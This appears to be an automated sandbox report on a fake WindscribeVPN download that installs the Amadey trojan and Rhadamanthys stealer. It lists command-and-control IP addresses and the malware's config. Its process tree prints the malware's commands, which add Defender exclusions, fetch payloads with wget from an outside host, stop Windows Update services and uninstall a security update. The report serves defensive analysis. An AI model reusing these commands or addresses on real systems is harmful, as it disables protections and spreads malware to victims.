amadey | hxxps://pwrxa[.]moliz[.]site/rpbta

Analysis

max time kernel
133s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
24-03-2024 18:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://pwrxa.moliz.site/rpbta

Score

10^/10

amadey rhadamanthys evasion persistence stealer trojan upx

Malware Config

Extracted

Family

amadey

Version

4.19

http://185.196.10.188

http://45.159.189.140

http://89.23.103.42

Attributes

install_dir
b4e248fdbd
install_file
Dctooux.exe
strings_key
01edd7c913096383774168b5aeebc95e
url_paths
/hb9IvshS/index.php

/hb9IvshS2/index.php

/hb9IvshS3/index.php

rc4.plain

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

plugin0324

description pid process target process

PID 5964 created 2788 5964 plugin0324 sihost.exe
Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

description	pid	process	target process
PID 5964 created 2788	5964	plugin0324	sihost.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Launhcer.exeLauncher.exe3plugin0324

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation	Launhcer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation	Launcher.exe
Key value queried	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation	3plugin0324

Executes dropped EXE 12 IoCs

Processes:

Launhcer.exeLauncher.exewget.exewinrar.exeplugin0324wget.exewinrar.exe2plugin0324wget.exewinrar.exe3plugin0324Dctooux.exe

pid	process
3456	Launhcer.exe
2868	Launcher.exe
1812	wget.exe
5884	winrar.exe
5964	plugin0324
4868	wget.exe
6068	winrar.exe
3100	2plugin0324
2852	wget.exe
1032	winrar.exe
5940	3plugin0324
4164	Dctooux.exe

UPX packed file 9 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/5280-504-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/5280-505-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/5280-506-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/5280-507-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/5280-508-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/5280-510-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/5280-511-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/5280-513-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/5280-514-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 7 IoCs

Web Service

T1102

Processes:

flow	ioc
341	raw.githubusercontent.com
64	bitbucket.org
65	bitbucket.org
66	bitbucket.org
204	raw.githubusercontent.com
205	raw.githubusercontent.com
232	raw.githubusercontent.com

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

2plugin0324

pid process

3100 2plugin0324
3100 2plugin0324
Drops file in Windows directory 1 IoCs

Processes:

3plugin0324

description ioc process

File created C:\Windows\Tasks\Dctooux.job 3plugin0324

pid	process
3100	2plugin0324
3100	2plugin0324

description	ioc	process
File created	C:\Windows\Tasks\Dctooux.job	3plugin0324

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid	process
4012	sc.exe
4404	sc.exe
800	sc.exe
2828	sc.exe
1376	sc.exe
2468	sc.exe
5800	sc.exe
3764	sc.exe
2592	sc.exe
1376	sc.exe
2812	sc.exe
5976	sc.exe
2964	sc.exe
1184	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 23 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
3104	5964	WerFault.exe	plugin0324
4980	5940	WerFault.exe	3plugin0324
5580	5940	WerFault.exe	3plugin0324
5512	5940	WerFault.exe	3plugin0324
5888	5940	WerFault.exe	3plugin0324
396	5940	WerFault.exe	3plugin0324
6120	5940	WerFault.exe	3plugin0324
3812	5940	WerFault.exe	3plugin0324
928	5940	WerFault.exe	3plugin0324
5320	5940	WerFault.exe	3plugin0324
2672	5940	WerFault.exe	3plugin0324
1048	4164	WerFault.exe	Dctooux.exe
6132	4164	WerFault.exe	Dctooux.exe
3924	4164	WerFault.exe	Dctooux.exe
2288	4164	WerFault.exe	Dctooux.exe
5352	4164	WerFault.exe	Dctooux.exe
5848	4164	WerFault.exe	Dctooux.exe
5584	4164	WerFault.exe	Dctooux.exe
2884	4164	WerFault.exe	Dctooux.exe
4396	4164	WerFault.exe	Dctooux.exe
1392	4164	WerFault.exe	Dctooux.exe
3940	4164	WerFault.exe	Dctooux.exe
3764	4164	WerFault.exe	Dctooux.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies registry class 1 IoCs

Processes:

msedge.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000_Classes\Local Settings msedge.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000_Classes\Local Settings	msedge.exe

Suspicious behavior: EnumeratesProcesses 26 IoCs

Processes:

msedge.exemsedge.exeidentity_helper.exemsedge.exepowershell.exepowershell.exeplugin0324dialer.exemsedge.exe2plugin0324

pid	process
1416	msedge.exe
1416	msedge.exe
2292	msedge.exe
2292	msedge.exe
3968	identity_helper.exe
3968	identity_helper.exe
1988	msedge.exe
1988	msedge.exe
4964	powershell.exe
4964	powershell.exe
4964	powershell.exe
3356	powershell.exe
3356	powershell.exe
3356	powershell.exe
5964	plugin0324
5964	plugin0324
5280	dialer.exe
5280	dialer.exe
5280	dialer.exe
5280	dialer.exe
3356	msedge.exe
3356	msedge.exe
3356	msedge.exe
3356	msedge.exe
3100	2plugin0324
3100	2plugin0324

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

Processes:

msedge.exe

pid process

2292 msedge.exe
2292 msedge.exe
2292 msedge.exe
2292 msedge.exe
2292 msedge.exe
2292 msedge.exe
2292 msedge.exe
2292 msedge.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

AUDIODG.EXEpowershell.exepowershell.exe

description	pid	process
Token: 33	4152	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	4152	AUDIODG.EXE
Token: SeDebugPrivilege	4964	powershell.exe
Token: SeDebugPrivilege	3356	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

msedge.exe

pid	process
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

Processes:

msedge.exe

pid	process
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe
2292	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

msedge.exe

description	pid	process	target process
PID 2292 wrote to memory of 4432	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 4432	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 680	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 1416	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 1416	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 3364	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 3364	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 3364	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 3364	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 3364	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 3364	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 3364	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 3364	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 3364	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 3364	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 3364	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 3364	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 3364	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 3364	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 3364	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 3364	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 3364	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 3364	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 3364	2292	msedge.exe	msedge.exe
PID 2292 wrote to memory of 3364	2292	msedge.exe	msedge.exe

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2788
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5280

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pwrxa.moliz.site/rpbta
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2292
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9c99e46f8,0x7ff9c99e4708,0x7ff9c99e4718
  2⤵
  PID:4432
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2092,3519399218187269813,1231107203050226138,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2128 /prefetch:2
  2⤵
  PID:680
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2092,3519399218187269813,1231107203050226138,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1416
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2092,3519399218187269813,1231107203050226138,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2784 /prefetch:8
  2⤵
  PID:3364
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,3519399218187269813,1231107203050226138,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3344 /prefetch:1
  2⤵
  PID:2760
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,3519399218187269813,1231107203050226138,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3484 /prefetch:1
  2⤵
  PID:5068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,3519399218187269813,1231107203050226138,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4720 /prefetch:1
  2⤵
  PID:1740
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2092,3519399218187269813,1231107203050226138,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5424 /prefetch:8
  2⤵
  PID:2236
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2092,3519399218187269813,1231107203050226138,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5424 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3968
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2092,3519399218187269813,1231107203050226138,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5476 /prefetch:8
  2⤵
  PID:4688
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,3519399218187269813,1231107203050226138,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5468 /prefetch:1
  2⤵
  PID:5300
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2092,3519399218187269813,1231107203050226138,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5740 /prefetch:8
  2⤵
  PID:5308
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,3519399218187269813,1231107203050226138,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5972 /prefetch:1
  2⤵
  PID:5440
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,3519399218187269813,1231107203050226138,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5952 /prefetch:1
  2⤵
  PID:5448
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,3519399218187269813,1231107203050226138,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5700 /prefetch:1
  2⤵
  PID:5616
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,3519399218187269813,1231107203050226138,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5768 /prefetch:1
  2⤵
  PID:5624
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2092,3519399218187269813,1231107203050226138,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1768 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1988
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2092,3519399218187269813,1231107203050226138,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=6228 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3356

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1592

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4216

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x2ec 0x2f8
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4152

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5368

C:\Users\Admin\AppData\Local\Temp\Temp1_WindscribeVPN-10_11.zip\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_WindscribeVPN-10_11.zip\Launcher.exe"
1⤵
PID:5500

C:\Users\Admin\Downloads\WindscribeVPN-10_11\Launcher.exe
"C:\Users\Admin\Downloads\WindscribeVPN-10_11\Launcher.exe"
1⤵
PID:5976
- C:\Users\Admin\AppData\Roaming\services\Launhcer.exe
  "C:\Users\Admin\AppData\Roaming\services\Launhcer.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:3456
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "$AdminRightsRequired = $true function Get-Win { while ($true) { # if ($AdminRightsRequired) { # try { Start-Process -FilePath '.\data\Launcher.exe' -Verb RunAs -Wait # break } catch { Write-Host 'Error 0xc0000906' } } else { # break } } } Get-Win"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4964
  - - C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe
      "C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      PID:2868
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath $env:ProgramData, $env:AppData, $env:SystemDrive\ "
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3356
    - - C:\Users\Admin\AppData\Roaming\services\wget.exe
        
        "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition http://apexgenz.com/1/1 -P C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        
        PID:1812
    - - C:\Users\Admin\AppData\Roaming\services\winrar.exe
        
        "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\01plugins*.* "plugin*" C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        
        PID:5884
    - - C:\Users\Admin\AppData\Roaming\services\plugin0324
        
        C:\Users\Admin\AppData\Roaming\services\plugin0324
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:5964
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5964 -s 652
        6⤵
        Program crash
        
        PID:3104
    - - C:\Users\Admin\AppData\Roaming\services\wget.exe
        
        "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition http://apexgenz.com/2/1 -P C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        
        PID:4868
    - - C:\Users\Admin\AppData\Roaming\services\winrar.exe
        
        "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\02plugins*.* "2plugin*" C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        
        PID:6068
    - - C:\Users\Admin\AppData\Roaming\services\2plugin0324
        
        C:\Users\Admin\AppData\Roaming\services\2plugin0324
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:3100
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        6⤵
        
        PID:5352
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        
        PID:4204
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        7⤵
        
        PID:1780
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:1376
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:1184
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:5976
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        6⤵
        Launches sc.exe
        
        PID:4012
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        6⤵
        Launches sc.exe
        
        PID:2812
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        6⤵
        
        PID:3224
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        6⤵
        
        PID:1812
      - C:\Windows\system32\powercfg.exe
        
